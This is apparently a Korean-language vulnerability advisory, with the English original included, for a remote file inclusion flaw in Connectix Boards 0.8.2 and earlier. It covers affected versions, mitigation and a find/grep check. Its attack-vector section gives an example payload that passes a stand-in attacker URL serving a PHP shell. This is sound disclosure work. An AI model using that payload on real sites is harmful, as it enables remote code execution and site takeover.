🇰🇷 한글 설명
Connectix Boards 0.8.2 이전 버전의 templates/Official/part_userprofile.php 파일에서 template_path 매개변수의 검증 부족으로 인한 원격 파일 포함(RFI) 취약점. 공격자가 외부 서버의 악성 PHP 파일을 포함시켜 임의의 코드 실행 가능.
💡 쉬운 설명
Connectix Boards라는 게시판 소프트웨어에서 공격자가 인터넷의 임의 위치에서 악성 코드를 다운로드하여 실행할 수 있습니다. 이 취약점은 웹사이트를 완전히 장악하거나 데이터를 탈취하는 데 악용될 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in templates/Official/part_userprofile.php in Connectix Boards 0.8.2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the template_path parameter.
📍 영향받는 시스템
Connectix Boards 0.8.2 이전 모든 버전
⚔️ 공격 벡터
template_path 매개변수에 원격 PHP 파일의 URL을 전달하여 RFI 공격 수행 (예: ?template_path=http://attacker.com/shell.php)
🛡️ 대응 방법
Connectix Boards를 0.8.3 이상으로 업그레이드하거나, template_path 매개변수 입력값 검증 및 화이트리스트 필터 적용
🔧 검증 코드
part_userprofile.php 파일이 존재하면 해당 경로를 확인하고, 파일 내용에서 template_path 변수의 입력 검증 코드 확인 필요
find / -name 'part_userprofile.php' 2>/dev/null | xargs grep -l 'template_path' 2>/dev/null